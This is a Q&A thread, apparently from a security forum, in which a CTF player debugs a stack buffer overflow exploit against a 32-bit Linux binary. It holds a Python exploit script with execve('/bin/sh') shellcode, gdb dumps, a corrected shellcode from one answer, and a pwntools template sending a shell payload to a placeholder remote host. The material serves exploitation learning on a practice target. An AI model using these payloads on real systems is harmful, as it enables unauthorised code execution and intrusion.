3

I started learning about stack-smashing after it came up during a CTF exercise. I have been practicing on an ELF 32-bit executable that I received for the CTF.

After disassembling the binary file, I find that the program loads and writes out a prompt and then reads input without checking length, using syscalls (no library functions).

I poke at it a little and I find that the buffer holds 20 "A"s before crashing, so I fill the buffer, followed by the address to a nop-slide that leads into my code.

#!/usr/bin/env python2

import struct

pad = "\x41" * 20
EIP = struct.pack("I", 0xbffffebc)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 
# http://shell-storm.org/shellcode/files/shellcode-827.php
NOP = "\x90" * 5
print pad + EIP + NOP + shellcode

At first, the payload was just a syscall to write "ABCD" to screen, which triggered successfully.

(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
 eip = 0x804809c in _start; saved eip = 0xbffffebc
 Arglist at unknown address.
 Locals at unknown address, Previous frame's sp is 0xbffffebc
 Saved registers:
  eip at 0xbffffeb8
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffeb4: 0x41414141  0xbffffebc  0x90909090  0xc0315490
0xbffffec4: 0xc931db31  0x4168d231  0x89444342  0xb305b2e1
0xbffffed4: 0xcd04b001  0x40c03180  0x000a80cd  0xb7fff868
0xbffffee4: 0x00000021  0xb7fff000  0x00000010  0x178bfbff
0xbffffef4: 0x00000006  0x00001000  0x00000011  0x00000064
(gdb) c
Continuing.
ABCD�[Inferior 1 (process 16256) exited with code 01]

I tried some shellcode next, with a call to execute /bin/sh, and it seems like the payload was loaded in, but, after running the code, no shell spawns.

(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) x/24x 0xbffffeb8-20                
0xbffffea4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffeb4: 0x41414141  0xbffffebc  0x90909090  0x50c03190
0xbffffec4: 0x732f2f68  0x622f6868  0xe3896e69  0xe1895350
0xbffffed4: 0x80cd0bb0  0x0000000a  0x00000020  0xb7fff868
0xbffffee4: 0x00000021  0xb7fff000  0x00000010  0x178bfbff
0xbffffef4: 0x00000006  0x00001000  0x00000011  0x00000064
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
 eip = 0x804809c in _start; saved eip = 0xbffffebc
 Arglist at unknown address.
 Locals at unknown address, Previous frame's sp is 0xbffffebc
 Saved registers:
  eip at 0xbffffeb8
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffffed8 in ?? ()
(gdb) x/24i $eip-24 
   0xbffffec0:  nop
   0xbffffec1:  xor    %eax,%eax
   0xbffffec3:  push   %eax
   0xbffffec4:  push   $0x68732f2f
   0xbffffec9:  push   $0x6e69622f
   0xbffffece:  mov    %esp,%ebx
   0xbffffed0:  push   %eax
   0xbffffed1:  push   %ebx
   0xbffffed2:  mov    %esp,%ecx
   0xbffffed4:  mov    $0xb,%al
   0xbffffed6:  int    $0x80
=> 0xbffffed8:  or     (%eax),%al
   0xbffffeda:  add    %al,(%eax)
   0xbffffedc:  and    %al,(%eax)
   0xbffffede:  add    %al,(%eax)

The file is not stack-protected or position-independent.

hardening-check $(which /root/Downloads/start)
/root/Downloads/start:
 Position Independent Executable: no, normal executable!
 Stack protected: no, not found!
 Fortify Source functions: unknown, no protectable libc functions used
 Read-only relocations: no, not found!
 Immediate binding: no, not found!
 Stack clash protection: unknown, no -fstack-clash-protection instructions found
 Control flow integrity: unknown, no -fcf-protection instructions found!

These are my only environment vars:

(gdb) show env
PWD=/root/Scripts
SHELL=/bin/bash
SHLVL=0

Obviously, I'm missing something and things aren't as simple as just getting the code to run. What could I do to get a shell to spawn given my constraints?

4
  • How did you generate the shellcode for the reverse shell?
    – user173641
    Nov 7 '19 at 8:09
  • I got the shellcode from shell-storm.org/shellcode/files/shellcode-827.php and it's being pumped into the program's stdin in gdb through the python script I mention above, which prints 20 As, followed by the address to a nopslide that leads into my code.
    – ep84
    Nov 7 '19 at 14:57
  • I don't understand why you're not just generating your own shellcode. I'm assuming this is some kind of vulnerable VM something like that?
    – user173641
    Nov 7 '19 at 16:16
  • If you have any ideas that could work, consider submitting an answer.
    – ep84
    Nov 7 '19 at 16:28
1

The shellcode you are using:

   0xbffffec1:  xor    %eax,%eax
   0xbffffec3:  push   %eax
   0xbffffec4:  push   $0x68732f2f
   0xbffffec9:  push   $0x6e69622f
   0xbffffece:  mov    %esp,%ebx
   0xbffffed0:  push   %eax
   0xbffffed1:  push   %ebx
   0xbffffed2:  mov    %esp,%ecx
   0xbffffed4:  mov    $0xb,%al
   0xbffffed6:  int    $0x80

is basically doing execve("/bin//sh",$ecx,$edx) but it does not take care to set $edx to be either NULL or a pointer to an array of pointers.

You can verify this is the problem with info registers in GDB.

To fix the issue, you can add in a xor %edx,%edx (which is bytes 0x31, 0xd2) anywhere before the int $0x80 (being careful to insert at the boundary of an instruction, say before the 0xcd, 0x80) and that should work.

You said the binary is using syscalls to do the read that overflows the buffer, so you don't need to worry about the byte values of any of your instructions (some functions like strcpy or gets will stop copying the bytes when they get to null bytes or 0x0A bytes).

In pwn you would use (intel syntax assembly and the asm function):

from pwn import asm
shellcode = asm("""
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
""")

You can also see it as bytes:

print(disasm(shellcode))
   0:   31 c0                   xor    eax, eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx, esp
   f:   50                      push   eax
  10:   53                      push   ebx
  11:   89 e1                   mov    ecx, esp
  13:   b0 0b                   mov    al, 0xb
  15:   31 d2                   xor    edx, edx
  17:   cd 80                   int    0x80
1
  • This worked! Of course, it's only working in GDB right now, but I know that's because there's a difference in the environment variables between GDB and the executable. That is a whole different question that I'll work on next. Thank you for your help!
    – ep84
    Nov 10 '19 at 6:59
0

I'm a CTF Player too and love BoF. Please check this first it will help you for BoF, also easy for you to spawn a shell: https://github.com/Gallopsled/pwntools

If you want to spawn a shell using pwntools, there's a sample code like this:

from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()

In your case, you need to check if there's available shell function inside the application using Radare2, if not you need to overwrite it. Here are some resources about how pwntools works:

https://github.com/mishrasunny174/encrypt-ctf/tree/master/pwn/x86

1
  • The tool looks really helpful, but my machine can't find pwn after installing it through pip, so my scripts aren't working. As it is, I'd rather not use outside tools if I can help it. Thank you for your help!
    – ep84
    Nov 9 '19 at 19:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.